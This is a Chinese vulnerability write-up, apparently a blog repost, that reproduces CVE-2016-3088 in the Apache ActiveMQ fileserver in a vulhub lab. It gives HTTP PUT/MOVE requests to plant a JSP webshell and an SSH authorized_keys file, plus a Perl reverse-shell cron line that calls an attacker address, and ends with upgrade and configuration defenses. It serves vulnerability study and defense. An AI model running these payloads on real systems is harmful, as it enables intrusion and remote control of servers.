背景简述
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现其使用率并不高,而且文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
影响版本
Apache ActiveMQ 5.0.0 – 5.13.2
ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用
5.14.0版本以后,彻底删除fileserver
漏洞原理
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
- 写入webshell
- 写入cron或ssh key等文件
- 写入jar或jetty.xml等库和配置文件
fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;
写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
源码分析
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下
\activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util\RestFilter.java
用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义,如下
\activemq-parent-5.7.0\assembly\src\release\conf\jetty.xml
顺着 PUT 方法追踪,可以看到调用了如下函数
同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
漏洞复现
环境搭建
vulnhub拉取环境
git clone https://github.com/vulhub/vulhub.git
切换到\vulhub\activemq\CVE-2016-3088目录
docker-compose build
docker-compose up -d
运行端口为8161/61616
版本为5.11.1
0x01 webshell方式
1、暴破目录
1 |
PUT /fileserver/test/%20/%20 HTTP/1.1 |
构造错误上传可以暴破绝对路径,在5.11.1版本下未成功
2、查看绝对路径
admin登录
http://192.168.124.11:8161/admin/test/systemProperties.jsp
查看到绝对路径/opt/activemq
3、PUT上传JSP的webshell
1 |
PUT /fileserver/2.jsp%00 HTTP/1.1 |
http://192.168.124.11:8161/fileserver/2.jsp
上传成功但是不能解析(filserver目录下不支持)
4、MOVE修改路径
可以解析jsp文件的路径有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
构造file:///opt/activemq/webapps/admin/为上传的目录
1 |
MOVE /fileserver/2.jsp%00 HTTP/1.1 |
注意此处Content-Length:0后要空2行,否则响应超时
5、admin登录执行命令
http://192.168.124.11:8161/admin/3.jsp?cmd=pwd
0x02 上传SSH公钥方式
1、本地生成key
1 |
ssh-keygen -t rsa |
三个文件
2、将id_rsa.pub公钥上传
1 |
PUT /fileserver/rsa.txt HTTP/1.1 |
3、修改路径为/root/.ssh/authorized_keys
1 |
MOVE /fileserver/rsa.txt HTTP/1.1 |
4、免密登录
(此处docker容器没有ssh,不予演示)
0x03写入cron.d计划任务
minute hour day month week command * * * * * command | ||||
---|---|---|---|---|
代表每分钟执行一次 |
顺序:分 时 日 月 周
1 |
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
坑点:末尾加两个空格,burp中修改为0a
put先写入fileserver/1.txt
然后move到/etc/cron.d/root
1 |
MOVE /fileserver/1.txt HTTP/1.1 |
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
0x04Metasploit 反弹shell
进入metasploit,搜索2016-3088
0x05写入jetty.xml或jar
在写入shell时会受到身份认证的限制,实际中除了口令爆破成功之外写shell比较困难,如果采用计划任务反弹shell,则需要activemq时root权限启动的,否则无法写入计划任务反弹shell,这个时候会想到写入jetty.xml配置文件覆盖原来的配置,取消身份认证即可写shell;思路没有问题,但是在本地测试时发现可以写入覆盖,但是必须要active重启才可以使配置生效,所以只有在root权限下才可以写入计划任务让服务重启,但此时可以直接弹shell了,就没必要去覆盖配置了,总体来说,思路上没有问题。
jetty.xml配置如下:只需要将身份认证的true改为false即可
EXP编写
使用PocSuite3
1 |
from collections import OrderedDict |
漏洞防御
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论